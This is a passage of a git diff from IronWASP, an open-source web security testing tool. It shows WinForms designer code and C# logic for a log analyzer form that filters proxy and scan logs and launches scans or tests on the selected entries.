this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogDisplayTabs.Name = "LogDisplayTabs"; + this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.SelectedIndex = 0; + this.LogDisplayTabs.Size = new System.Drawing.Size(876, 219); + this.LogDisplayTabs.TabIndex = 4; + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.RequestView); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Margin = new System.Windows.Forms.Padding(0); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(868, 193); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = " Request "; + this.tabPage12.UseVisualStyleBackColor = true; + // + // RequestView + // + this.RequestView.BackColor = System.Drawing.Color.White; + this.RequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.RequestView.Location = new System.Drawing.Point(0, 0); + this.RequestView.Margin = new System.Windows.Forms.Padding(0); + this.RequestView.Name = "RequestView"; + this.RequestView.ReadOnly = true; + this.RequestView.Size = new System.Drawing.Size(868, 193); + this.RequestView.TabIndex = 0; + // + // tabPage29 + // + this.tabPage29.Controls.Add(this.ResponseView); + this.tabPage29.Location = new System.Drawing.Point(4, 22); + this.tabPage29.Margin = new System.Windows.Forms.Padding(0); + this.tabPage29.Name = "tabPage29"; + this.tabPage29.Size = new System.Drawing.Size(868, 193); + this.tabPage29.TabIndex = 1; + this.tabPage29.Text = " Response "; + this.tabPage29.UseVisualStyleBackColor = true; + // + // ResponseView + // + this.ResponseView.BackColor = System.Drawing.Color.White; + this.ResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResponseView.IncludeReflectionTab = true; + this.ResponseView.Location = new System.Drawing.Point(0, 0); + this.ResponseView.Margin = new System.Windows.Forms.Padding(0); + this.ResponseView.Name = "ResponseView"; + this.ResponseView.ReadOnly = true; + this.ResponseView.Size = new System.Drawing.Size(868, 193); + this.ResponseView.TabIndex = 0; + // + // BaseTabs + // + this.BaseTabs.Controls.Add(this.SearchFilterTab); + this.BaseTabs.Controls.Add(this.SearchResultsTab); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(884, 562); + this.BaseTabs.TabIndex = 10; + // + // SearchFilterTab + // + this.SearchFilterTab.Controls.Add(this.SearchFilterPanel); + this.SearchFilterTab.Location = new System.Drawing.Point(4, 22); + this.SearchFilterTab.Margin = new System.Windows.Forms.Padding(0); + this.SearchFilterTab.Name = "SearchFilterTab"; + this.SearchFilterTab.Size = new System.Drawing.Size(876, 536); + this.SearchFilterTab.TabIndex = 0; + this.SearchFilterTab.Text = " Create Filter to Search Logs "; + this.SearchFilterTab.UseVisualStyleBackColor = true; + // + // SearchFilterPanel + // + this.SearchFilterPanel.BackColor = System.Drawing.Color.White; + this.SearchFilterPanel.Controls.Add(this.textBox2); + this.SearchFilterPanel.Controls.Add(this.Step0StatusTB); + this.SearchFilterPanel.Controls.Add(this.panel6); + this.SearchFilterPanel.Controls.Add(this.panel4); + this.SearchFilterPanel.Controls.Add(this.LogSourceAndIdsPanel); + this.SearchFilterPanel.Controls.Add(this.panel8); + this.SearchFilterPanel.Controls.Add(this.panel1); + this.SearchFilterPanel.Controls.Add(this.panel3); + this.SearchFilterPanel.Controls.Add(this.panel7); + this.SearchFilterPanel.Controls.Add(this.panel2); + this.SearchFilterPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.SearchFilterPanel.Location = new System.Drawing.Point(0, 0); + this.SearchFilterPanel.Name = "SearchFilterPanel"; + this.SearchFilterPanel.Size = new System.Drawing.Size(876, 536); + this.SearchFilterPanel.TabIndex = 21; + // + // textBox2 + // + this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox2.BackColor = System.Drawing.Color.White; + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Location = new System.Drawing.Point(14, 9); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(852, 85); + this.textBox2.TabIndex = 153; + this.textBox2.TabStop = false; + this.textBox2.Text = resources.GetString("textBox2.Text"); + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.Location = new System.Drawing.Point(23, 115); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(827, 30); + this.Step0StatusTB.TabIndex = 21; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // SearchResultsTab + // + this.SearchResultsTab.Controls.Add(this.BaseSplit); + this.SearchResultsTab.Location = new System.Drawing.Point(4, 22); + this.SearchResultsTab.Margin = new System.Windows.Forms.Padding(0); + this.SearchResultsTab.Name = "SearchResultsTab"; + this.SearchResultsTab.Size = new System.Drawing.Size(876, 536); + this.SearchResultsTab.TabIndex = 1; + this.SearchResultsTab.Text = " Search Results "; + this.SearchResultsTab.UseVisualStyleBackColor = true; + // + // LogAnalyzerAndTester + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 562); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "LogAnalyzerAndTester"; + this.Text = "Log Analysis and Testing"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.LogAnalyzer_FormClosing); + this.Load += new System.EventHandler(this.LogAnalyzer_Load); + ((System.ComponentModel.ISupportInitialize)(this.LogGrid)).EndInit(); + this.panel8.ResumeLayout(false); + this.panel8.PerformLayout(); + this.panel7.ResumeLayout(false); + this.panel7.PerformLayout(); + this.panel6.ResumeLayout(false); + this.panel6.PerformLayout(); + this.LogSourceAndIdsPanel.ResumeLayout(false); + this.LogSourceAndIdsPanel.PerformLayout(); + this.panel4.ResumeLayout(false); + this.panel4.PerformLayout(); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.BaseSplit.Panel1.ResumeLayout(false); + this.BaseSplit.Panel1.PerformLayout(); + this.BaseSplit.Panel2.ResumeLayout(false); + this.BaseSplit.ResumeLayout(false); + this.LogDisplayTabs.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.tabPage29.ResumeLayout(false); + this.BaseTabs.ResumeLayout(false); + this.SearchFilterTab.ResumeLayout(false); + this.SearchFilterPanel.ResumeLayout(false); + this.SearchFilterPanel.PerformLayout(); + this.SearchResultsTab.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + internal System.Windows.Forms.DataGridView LogGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn IDClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameSelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn MethodClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn URLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn FileClmn; + private System.Windows.Forms.DataGridViewCheckBoxColumn SSLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParametersClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn CodeClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn LengthClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ClmnMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn SetCookieClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn NotesClmn; + private System.Windows.Forms.Button StartTestBtn; + private System.Windows.Forms.Button RunModulesBtn; + private System.Windows.Forms.Button StartScanBtn; + private System.Windows.Forms.CheckBox SelectAllCB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.ComboBox SelectLogSourceCombo; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.RadioButton MatchRequestMethodsMinusRB; + private System.Windows.Forms.RadioButton MatchRequestMethodsPlusRB; + private System.Windows.Forms.TextBox MatchRequestMethodsTB; + private System.Windows.Forms.CheckBox MatchRequestMethodsCB; + private System.Windows.Forms.TextBox LogIdsRangeBelowTB; + private System.Windows.Forms.CheckBox LogIdsRangeBelowCB; + private System.Windows.Forms.TextBox LogIdsRangeAboveTB; + private System.Windows.Forms.RadioButton LogIdsRangeCustomRB; + private System.Windows.Forms.CheckBox LogIdsRangeAboveCB; + private System.Windows.Forms.RadioButton LogIdsRangeAnyRB; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Panel panel6; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.RadioButton SearchTypeNewRB; + private System.Windows.Forms.RadioButton SearchTypeChainedRB; + private System.Windows.Forms.Panel LogSourceAndIdsPanel; + private System.Windows.Forms.Panel panel4; + private System.Windows.Forms.RadioButton MatchFileExtensionsMinusRB; + private System.Windows.Forms.RadioButton MatchFileExtensionsPlusRB; + private System.Windows.Forms.TextBox MatchFileExtensionsTB; + private System.Windows.Forms.CheckBox MatchFileExtensionsCB; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.RadioButton MatchHostNamesMinusRB; + private System.Windows.Forms.RadioButton MatchHostNamesPlusRB; + private System.Windows.Forms.TextBox MatchHostNamesTB; + private System.Windows.Forms.CheckBox MatchHostNamesCB; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.RadioButton MatchResponseCodesMinusRB; + private System.Windows.Forms.RadioButton MatchResponseCodesPlusRB; + private System.Windows.Forms.TextBox MatchResponseCodesTB; + private System.Windows.Forms.CheckBox MatchResponseCodesCB; + private System.Windows.Forms.Button SearchBtn; + private System.Windows.Forms.Panel panel7; + private System.Windows.Forms.ComboBox MatchRequestUrlTypeCombo; + private System.Windows.Forms.TextBox MatchRequestUrlKeywordTB; + private System.Windows.Forms.CheckBox MatchRequestUrlCB; + private System.Windows.Forms.Panel panel8; + private System.Windows.Forms.CheckBox MatchKeywordInResponseBodySectionCB; + private System.Windows.Forms.CheckBox MatchKeywordInResponseHeadersSectionCB; + private System.Windows.Forms.CheckBox MatchKeywordInRequestBodySectionCB; + private System.Windows.Forms.CheckBox MatchKeywordInRequestHeadersSectionCB; + private System.Windows.Forms.CheckBox MatchKeywordInAllSectionsCB; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TextBox MatchKeywordTB; + private System.Windows.Forms.CheckBox MatchKeywordCB; + private System.Windows.Forms.SplitContainer BaseSplit; + internal System.Windows.Forms.TabControl LogDisplayTabs; + private System.Windows.Forms.TabPage tabPage12; + internal RequestView RequestView; + private System.Windows.Forms.TabPage tabPage29; + internal ResponseView ResponseView; + private System.Windows.Forms.ProgressBar LoadLogProgressBar; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage SearchFilterTab; + private System.Windows.Forms.TabPage SearchResultsTab; + private System.Windows.Forms.ProgressBar SearchProgressBar; + private System.Windows.Forms.Panel SearchFilterPanel; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.Label SearchResultsCountLbl; + private System.Windows.Forms.Button DoDiffBtn; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Label label6; + } } \ No newline at end of file diff --git a/IronWASP/LogAnalyzer.cs b/Iron/LogAnalyzerAndTester.cs similarity index 97% rename from IronWASP/LogAnalyzer.cs rename to Iron/LogAnalyzerAndTester.cs index 6e371fc..e6afd0c 100644 --- a/IronWASP/LogAnalyzer.cs +++ b/Iron/LogAnalyzerAndTester.cs @@ -1,1018 +1,1018 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; - -namespace IronWASP -{ - public partial class LogAnalyzer : Form - { - ScanSelectedWizard SSW; - - string CurrentSearchSource = ""; - List CurrentSearchResultsIds = new List(); - List LastSearchResultsIds = new List(); - - Thread LogSearchThread; - Thread LogLoadThread; - - int SelectedRowsCount = 0; - - public LogAnalyzer() - { - InitializeComponent(); - } - - delegate void ShowRows_d(List Rows); - void ShowRows(List Rows) - { - if (LogGrid.InvokeRequired) - { - ShowRows_d CALL_d = new ShowRows_d(ShowRows); - LogGrid.Invoke(CALL_d, new object[] { Rows }); - } - else - { - foreach (object[] Row in Rows) - { - LogGrid.Rows.Add(Row); - } - } - SearchResultsCountLbl.Text = string.Format("Search Results Count: {0}", LogGrid.Rows.Count); - } - - delegate void ShowSearchProgressBar_d(bool Show); - void ShowSearchProgressBar(bool Show) - { - if (LogGrid.InvokeRequired) - { - ShowSearchProgressBar_d CALL_d = new ShowSearchProgressBar_d(ShowSearchProgressBar); - LogGrid.Invoke(CALL_d, new object[] { Show }); - } - else - { - SearchProgressBar.Visible = Show; - } - } - - private void LogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (LogGrid.SelectedRows == null) return; - if (LogGrid.SelectedRows.Count == 0) return; - if (e.ColumnIndex == 0)// ClickActionSelectLogRB.Checked) - { - LogGrid.SelectedRows[0].Cells[0].Value = !((bool)LogGrid.SelectedRows[0].Cells[0].Value); - if ((bool)LogGrid.SelectedRows[0].Cells[0].Value) - { - SelectedRowsCount++; - } - else - { - SelectAllCB.Checked = false; - SelectedRowsCount--; - } - if (SelectedRowsCount > 0) - { - DoDiffBtn.Enabled = true; - StartScanBtn.Enabled = true; - StartTestBtn.Enabled = true; - RunModulesBtn.Enabled = true; - } - else - { - DoDiffBtn.Enabled = false; - StartScanBtn.Enabled = false; - StartTestBtn.Enabled = false; - RunModulesBtn.Enabled = false; - } - } - else - { - int LogId = (int)LogGrid.SelectedCells[1].Value; - ShowSelectedLog(this.CurrentSearchSource, LogId); - } - } - void ShowSelectedLog(string Source, int LogId) - { - LogDisplayTabs.Visible = false; - LoadLogProgressBar.Visible = true; - - RequestView.ClearRequest(); - ResponseView.ClearResponse(); - - if (LogLoadThread != null) - { - try - { - LogLoadThread.Abort(); - } - catch { } - } - object[] SelectedLogInfo = new object[] { Source, LogId }; - LogLoadThread = new Thread(ShowSelectedLog); - LogLoadThread.Start(SelectedLogInfo); - } - - void ShowSelectedLog(object SelectedLogInfoObject) - { - object[] SelectedLogInfo = (object[])SelectedLogInfoObject; - string Source = SelectedLogInfo[0].ToString(); - int LogId = (int)SelectedLogInfo[1]; - - try - { - Session Session = Session.FromLog(LogId, Source); - - if (Session.Request != null) - { - RequestView.SetRequest(Session.Request); - - if (Session.Response != null) ResponseView.SetResponse(Session.Response, Session.Request); - } - - } - catch (ThreadAbortException) { } - catch (Exception Exp) { IronException.Report("Error loading Selected Log info in Log Analyzer", Exp); } - finally - { - EndLogLoad(); - } - } - - delegate void EndLogLoad_d(); - void EndLogLoad() - { - if (LogGrid.InvokeRequired) - { - EndLogLoad_d CALL_d = new EndLogLoad_d(EndLogLoad); - LogGrid.Invoke(CALL_d, new object[] { }); - } - else - { - LoadLogProgressBar.Visible = false; - LogDisplayTabs.Visible = true; - } - } - - private void SelectAllCB_Click(object sender, EventArgs e) - { - bool Checked = SelectAllCB.Checked; - foreach (DataGridViewRow Row in LogGrid.Rows) - { - Row.Cells[0].Value = Checked; - } - if (Checked) - SelectedRowsCount = LogGrid.Rows.Count; - else - SelectedRowsCount = 0; - if (SelectedRowsCount > 0) - { - DoDiffBtn.Enabled = true; - StartScanBtn.Enabled = true; - StartTestBtn.Enabled = true; - RunModulesBtn.Enabled = true; - } - else - { - DoDiffBtn.Enabled = false; - StartScanBtn.Enabled = false; - StartTestBtn.Enabled = false; - RunModulesBtn.Enabled = false; - } - } - - private void StartTestBtn_Click(object sender, EventArgs e) - { - List IDs = new List(); - foreach(DataGridViewRow Row in LogGrid.Rows) - { - if((bool)Row.Cells[0].Value) - IDs.Add((int)Row.Cells[1].Value); - } - LogsTester Tester = new LogsTester(); - Tester.SetSourceAndLogs(this.CurrentSearchSource, IDs); - Tester.Show(); - } - - private void SearchBtn_Click(object sender, EventArgs e) - { - if (SearchBtn.Text.Equals("Search with this Filter")) - { - LogSearchQuery Query = GetQueryFromInput(); - if (Query != null) - { - LastSearchResultsIds = new List(CurrentSearchResultsIds); - CurrentSearchResultsIds.Clear(); - LogGrid.Rows.Clear(); - BaseTabs.SelectTab("SearchResultsTab"); - if (LogSearchThread != null) - { - try { LogSearchThread.Abort(); } - catch { } - } - LogSearchThread = new Thread(DoSearch); - LogSearchThread.Start(Query); - SearchBtn.Text = "Stop Current Search"; - } - } - else - { - StopSearch(); - } - } - - void StopSearch() - { - try - { - LogSearchThread.Abort(); - } - catch { } - EndLogSearch(); - } - - delegate void EndLogSearch_d(); - void EndLogSearch() - { - if (LogGrid.InvokeRequired) - { - EndLogSearch_d CALL_d = new EndLogSearch_d(EndLogSearch); - LogGrid.Invoke(CALL_d, new object[] { }); - } - else - { - SearchProgressBar.Visible = false; - SearchBtn.Text = "Search with this Filter"; - } - } - - void DoSearch(object QueryObject) - { - LogSearchQuery Query = (LogSearchQuery)QueryObject; - List LogRows = new List(); - ShowSearchProgressBar(true); - try - { - if (Query.LogIds.Count > 0) - { - int CurrentStartIndex = 0; - while (CurrentStartIndex < Query.LogIds.Count) - { - LogRows = IronDB.SearchLogs(Query, Query.LogIds, CurrentStartIndex, 100); - ConvertAndShowRows(LogRows); - CurrentStartIndex = CurrentStartIndex + 100; - } - } - else if (Query.ScanLogId > 0) - { - LogRows = IronDB.SearchLogs(Query, Query.ScanLogId); - } - else if (Query.MinLogId > -1 | Query.MaxLogId > -1) - { - int CurrentStartIndex = Query.MinLogId -1; - while (CurrentStartIndex < Query.MaxLogId + 1) - { - if(CurrentStartIndex + 1000 > Query.MaxLogId) - LogRows = IronDB.SearchLogs(Query, CurrentStartIndex, Query.MaxLogId + 1); - else - LogRows = IronDB.SearchLogs(Query, CurrentStartIndex, CurrentStartIndex + 1000); - ConvertAndShowRows(LogRows); - CurrentStartIndex = CurrentStartIndex + 1000; - } - } - else - { - int CurrentStartIndex = 0; - while (CurrentStartIndex <= Config.GetLastLogId(Query.LogSource)) - { - LogRows = IronDB.SearchLogs(Query, CurrentStartIndex, CurrentStartIndex + 1000); - ConvertAndShowRows(LogRows); - CurrentStartIndex = CurrentStartIndex + 1000; - } - } - if (this.CurrentSearchResultsIds.Count == 0) - { - this.CurrentSearchResultsIds = new List(this.LastSearchResultsIds); - } - - } - catch(ThreadAbortException) { } - catch(Exception Exp) - { - IronException.Report("Error searching Logs", Exp); - ShowStep0Error("Error searching logs"); - } - finally - { - EndLogSearch(); - } - } - - void ConvertAndShowRows(List LogRows) - { - List LogRowsForGrid = new List(); - foreach (LogRow Row in LogRows) - { - CurrentSearchResultsIds.Add(Row.ID); - LogRowsForGrid.Add(Row.ToLogAnalyzerGridRowObjectArray()); - } - ShowRows(LogRowsForGrid); - } - - LogSearchQuery GetQueryFromInput() - { - ShowStep0Status(""); - LogSearchQuery Query = new LogSearchQuery(); - if (SearchTypeNewRB.Checked) - { - foreach (object Item in SelectLogSourceCombo.Items) - { - if (Item.ToString().Equals(SelectLogSourceCombo.Text)) - { - Query.LogSource = SelectLogSourceCombo.Text; - this.CurrentSearchSource = Query.LogSource; - break; - } - } - if (Query.LogSource.Length == 0) - { - ShowStep0Error("Invaid Log source selected"); - SelectLogSourceCombo.BackColor = Color.Red; - return null; - } - if (LogIdsRangeAnyRB.Checked) - { - Query.MinLogId = -1; - Query.MaxLogId = -1; - } - else - { - if (LogIdsRangeAboveCB.Visible) - { - if (LogIdsRangeAboveCB.Checked) - { - try - { - Query.MinLogId = Int32.Parse(LogIdsRangeAboveTB.Text.Trim()); - } - catch - { - ShowStep0Error("Log ID range lower limit is not a valid number"); - LogIdsRangeAboveTB.BackColor = Color.Red; - return null; - } - } - if (LogIdsRangeBelowCB.Checked) - { - try - { - Query.MaxLogId = Int32.Parse(LogIdsRangeBelowTB.Text.Trim()); - } - catch - { - ShowStep0Error("Log ID range upper limit is not a valid number"); - LogIdsRangeBelowTB.BackColor = Color.Red; - return null; - } - } - else if (LogIdsRangeAboveCB.Checked) - { - Query.MaxLogId = Config.GetLastLogId(Query.LogSource); - } - } - else - { - try - { - Query.ScanLogId = Int32.Parse(LogIdsRangeAboveTB.Text.Trim()); - } - catch - { - ShowStep0Error("Scan ID is not a valid number"); - LogIdsRangeAboveTB.BackColor = Color.Red; - return null; - } - } - - } - } - else - { - Query.LogSource = this.CurrentSearchSource; - Query.LogIds = new List(this.CurrentSearchResultsIds); - } - if (MatchKeywordCB.Checked) - { - if (MatchKeywordInRequestHeadersSectionCB.Checked || MatchKeywordInRequestBodySectionCB.Checked || MatchKeywordInResponseHeadersSectionCB.Checked || MatchKeywordInResponseBodySectionCB.Checked) - { - if (MatchKeywordTB.Text.Length > 0) - { - Query.Keyword = MatchKeywordTB.Text; - Query.SearchRequestHeaders = MatchKeywordInRequestHeadersSectionCB.Checked; - Query.SearchRequestBody = MatchKeywordInRequestBodySectionCB.Checked; - Query.SearchResponseHeaders = MatchKeywordInResponseHeadersSectionCB.Checked; - Query.SearchResponseBody = MatchKeywordInResponseBodySectionCB.Checked; - } - else - { - ShowStep0Error("Keyword search is enabled but the keyword is empty"); - MatchKeywordTB.BackColor = Color.Red; - return null; - } - } - else - { - ShowStep0Error("Keyword search is enabled but no sections are selected"); - return null; - } - } - if (MatchRequestUrlCB.Checked) - { - if (MatchRequestUrlTypeCombo.SelectedIndex > -1) - { - if (MatchRequestUrlKeywordTB.Text.Length > 0) - { - Query.UrlMatchMode = MatchRequestUrlTypeCombo.SelectedIndex; - Query.UrlMatchString = MatchRequestUrlKeywordTB.Text; - } - else - { - ShowStep0Error("Url match is enabled but the match keyword is empty"); - MatchRequestUrlKeywordTB.BackColor = Color.Red; - return null; - } - } - else - { - ShowStep0Error("Invalid Url match type is selected"); - MatchRequestUrlTypeCombo.BackColor = Color.Red; - return null; - } - } - if (MatchRequestMethodsCB.Checked) - { - string[] Methods = MatchRequestMethodsTB.Text.Split(new char[]{','}); - for (int i = 0; i < Methods.Length; i++) - { - Methods[i] = Methods[i].Trim(); - } - if (Methods.Length > 0) - { - if (MatchRequestMethodsPlusRB.Checked) - { - Query.MethodsToCheck = new List(Methods); - } - else - { - Query.MethodsToIgnore = new List(Methods); - } - } - else - { - ShowStep0Error("Request Methods match is selected but no methods specified Invalid Url match type is selected"); - MatchRequestMethodsTB.BackColor = Color.Red; - return null; - } - } - if (MatchResponseCodesCB.Checked) - { - string[] ResponseCodesStrings = MatchResponseCodesTB.Text.Split(new char[] { ',' }); - List ResponseCodes = new List(); - foreach (string CodeString in ResponseCodesStrings) - { - try - { - ResponseCodes.Add(Int32.Parse(CodeString)); - } - catch { } - } - if (ResponseCodes.Count > 0) - { - if (MatchResponseCodesPlusRB.Checked) - { - Query.CodesToCheck = new List(ResponseCodes); - } - else - { - Query.CodesToIgnore = new List(ResponseCodes); - } - } - else - { - ShowStep0Error("Response Codes match is selected but no methods specified Invalid Url match type is selected"); - MatchResponseCodesTB.BackColor = Color.Red; - return null; - } - } - if (MatchHostNamesCB.Checked) - { - string[] HostNames = MatchHostNamesTB.Text.Split(new char[] { ',' }); - for (int i = 0; i < HostNames.Length; i++) - { - HostNames[i] = HostNames[i].Trim(); - } - if (HostNames.Length > 0) - { - if (MatchHostNamesPlusRB.Checked) - { - Query.HostNamesToCheck = new List(HostNames); - } - else - { - Query.HostNamesToIgnore = new List(HostNames); - } - } - else - { - ShowStep0Error("Hostnames match is selected but no methods specified Invalid Url match type is selected"); - MatchHostNamesTB.BackColor = Color.Red; - return null; - } - } - if (MatchFileExtensionsCB.Checked) - { - string[] FileExtensions = MatchFileExtensionsTB.Text.Split(new char[] { ',' }); - for (int i = 0; i < FileExtensions.Length; i++) - { - FileExtensions[i] = FileExtensions[i].Trim(); - } - if (FileExtensions.Length > 0) - { - if (MatchFileExtensionsPlusRB.Checked) - { - Query.FileExtensionsToCheck = new List(FileExtensions); - } - else - { - Query.FileExtensionsToIgnore = new List(FileExtensions); - } - } - else - { - ShowStep0Error("Request File Extensions match is selected but no methods specified Invalid Url match type is selected"); - MatchFileExtensionsTB.BackColor = Color.Red; - return null; - } - } - if (Query.Keyword.Length > 0 || Query.UrlMatchString.Length > 0 - || Query.FileExtensionsToCheck.Count > 0 || Query.FileExtensionsToIgnore.Count > 0 - || Query.MethodsToCheck.Count > 0 || Query.MethodsToIgnore.Count > 0 - || Query.CodesToCheck.Count > 0 || Query.CodesToIgnore.Count > 0 - || Query.HostNamesToCheck.Count > 0 || Query.HostNamesToIgnore.Count > 0) - { - return Query; - } - else - { - ShowStep0Error("No options selected in the filter settings"); - return null; - } - } - - private void LogIdsRangeAboveTB_TextChanged(object sender, EventArgs e) - { - if (LogIdsRangeAboveTB.BackColor != Color.White) - LogIdsRangeAboveTB.BackColor = Color.White; - } - - private void LogIdsRangeBelowTB_TextChanged(object sender, EventArgs e) - { - if (LogIdsRangeBelowTB.BackColor != Color.White) - LogIdsRangeBelowTB.BackColor = Color.White; - } - - private void MatchKeywordTB_TextChanged(object sender, EventArgs e) - { - if (MatchKeywordTB.BackColor != Color.White) - MatchKeywordTB.BackColor = Color.White; - } - - private void MatchRequestUrlKeywordTB_TextChanged(object sender, EventArgs e) - { - if (MatchRequestUrlKeywordTB.BackColor != Color.White) - MatchRequestUrlKeywordTB.BackColor = Color.White; - } - - private void MatchRequestUrlTypeCombo_SelectedIndexChanged(object sender, EventArgs e) - { - if (MatchRequestUrlTypeCombo.BackColor != Color.White) - MatchRequestUrlTypeCombo.BackColor = Color.White; - } - - private void MatchRequestMethodsTB_TextChanged(object sender, EventArgs e) - { - if (MatchRequestMethodsTB.BackColor != Color.White) - MatchRequestMethodsTB.BackColor = Color.White; - } - - private void MatchResponseCodesTB_TextChanged(object sender, EventArgs e) - { - if (MatchResponseCodesTB.BackColor != Color.White) - MatchResponseCodesTB.BackColor = Color.White; - } - - private void MatchHostNamesTB_TextChanged(object sender, EventArgs e) - { - if (MatchHostNamesTB.BackColor != Color.White) - MatchHostNamesTB.BackColor = Color.White; - } - - private void MatchFileExtensionsTB_TextChanged(object sender, EventArgs e) - { - if (MatchFileExtensionsTB.BackColor != Color.White) - MatchFileExtensionsTB.BackColor = Color.White; - } - - private void SelectLogSourceCombo_SelectedIndexChanged(object sender, EventArgs e) - { - if (SelectLogSourceCombo.BackColor != Color.White) - SelectLogSourceCombo.BackColor = Color.White; - - if (SelectLogSourceCombo.SelectedIndex == 3) - { - LogIdsRangeCustomRB.Text = "Only for Scan ID -"; - LogIdsRangeAboveTB.Enabled = true; - LogIdsRangeAboveCB.Visible = false; - LogIdsRangeBelowCB.Visible = false; - LogIdsRangeBelowTB.Visible = false; - } - else - { - LogIdsRangeCustomRB.Text = "Only in range -"; - LogIdsRangeAboveTB.Enabled = LogIdsRangeAboveCB.Checked; - LogIdsRangeAboveCB.Visible = true; - LogIdsRangeBelowCB.Visible = true; - LogIdsRangeBelowTB.Visible = true; - } - } - - delegate void ShowStep0Status_d(string Text); - void ShowStep0Status(string Text) - { - if (LogGrid.InvokeRequired) - { - ShowStep0Status_d CALL_d = new ShowStep0Status_d(ShowStep0Status); - LogGrid.Invoke(CALL_d, new object[] { Text }); - } - else - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Black; - this.Step0StatusTB.Visible = true; - } - } - } - delegate void ShowStep0Error_d(string Text); - void ShowStep0Error(string Text) - { - if (LogGrid.InvokeRequired) - { - ShowStep0Error_d CALL_d = new ShowStep0Error_d(ShowStep0Error); - LogGrid.Invoke(CALL_d, new object[] { Text }); - } - else - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Red; - this.Step0StatusTB.Visible = true; - } - } - } - - private void LogAnalyzer_Load(object sender, EventArgs e) - { - SelectLogSourceCombo.Items.Add("Proxy"); - SelectLogSourceCombo.Items.Add("Test"); - SelectLogSourceCombo.Items.Add("Shell"); - SelectLogSourceCombo.Items.Add("Scan"); - SelectLogSourceCombo.Items.Add("Probe"); - SelectLogSourceCombo.Items.AddRange(Config.GetOtherSourceList().ToArray()); - SelectLogSourceCombo.SelectedIndex = 0; - - MatchRequestUrlTypeCombo.SelectedIndex = 